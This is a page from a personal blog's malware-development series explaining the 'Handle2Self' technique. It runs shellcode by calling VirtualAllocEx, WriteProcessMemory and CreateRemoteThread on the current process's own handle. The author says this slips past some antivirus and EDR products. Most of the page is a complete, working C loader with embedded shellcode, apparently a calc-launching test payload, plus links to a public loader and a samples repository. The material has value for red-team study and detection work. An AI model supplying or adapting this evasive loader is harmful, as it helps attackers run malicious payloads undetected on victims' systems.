W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page

Was this helpful?

  1. Malware Development
  2. Code Execution

Handle2Self

Get a handle from current process and creating a new thread

PreviousFunction Pointer (No API)NextThread2Fiber

Last updated 6 months ago

Was this helpful?

I first saw this in a public loader on GitHub called "GregsBestFriend":

In this technique, we use two well-known Windows APIs for process injection, VirtualAllocEx and CreateRemoteThread. using these APIs in remote process injection makes the loader look very suspicious and will be detected by most AVs. but interestingly enough, if we use the same set of APIs to allocate memory in local process space and then creating a new local thread, it goes unnoticed even by some of the best AV/EDR products out there (at least it used to be like that the last time i checked). so we are using the same APIs but instead of passing the handle of a remote process, we use the handle of current process.

Execution Flow:

  1. Get a handle to local process using OpenProcess

  2. Allocate memory using VirtualAllocEx

  3. Write shellcode to allocated memoey with WriteProcessMemory

  4. Create new local thread using CreateRemoteThread using current process handle

  5. Release the allocated memory and close the local thread handle

Code:

Handle2Self.c
#include <Windows.h>

int main() {
    unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
        0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
        0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
        0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
        0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
        0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
    };

    // Allocate memory in the current process (same as VirtualAlloc)
    HANDLE hProcess = GetCurrentProcess();
    void* exec_mem = VirtualAllocEx(hProcess, 0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy shellcode to allocated memory
    WriteProcessMemory(hProcess, exec_mem, shellcode, sizeof(shellcode), NULL);


    // Create a remote thread using the current thread handle (same as Createthread)
    HANDLE th = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);

    // Wait for the thread to finish execution
    WaitForSingleObject(th, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, exec_mem, 0, MEM_RELEASE);
    CloseHandle(th);       // Close remote thread handle

    return 0;
}

Code Samples

Code snippets are available on GitHub:

GregsBestFriend/Visual Studio/GregsBestFriend/GregsBestFriend/GregsBestFriend.cpp at main · WKL-Sec/GregsBestFriendGitHub
Logo
GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
Logo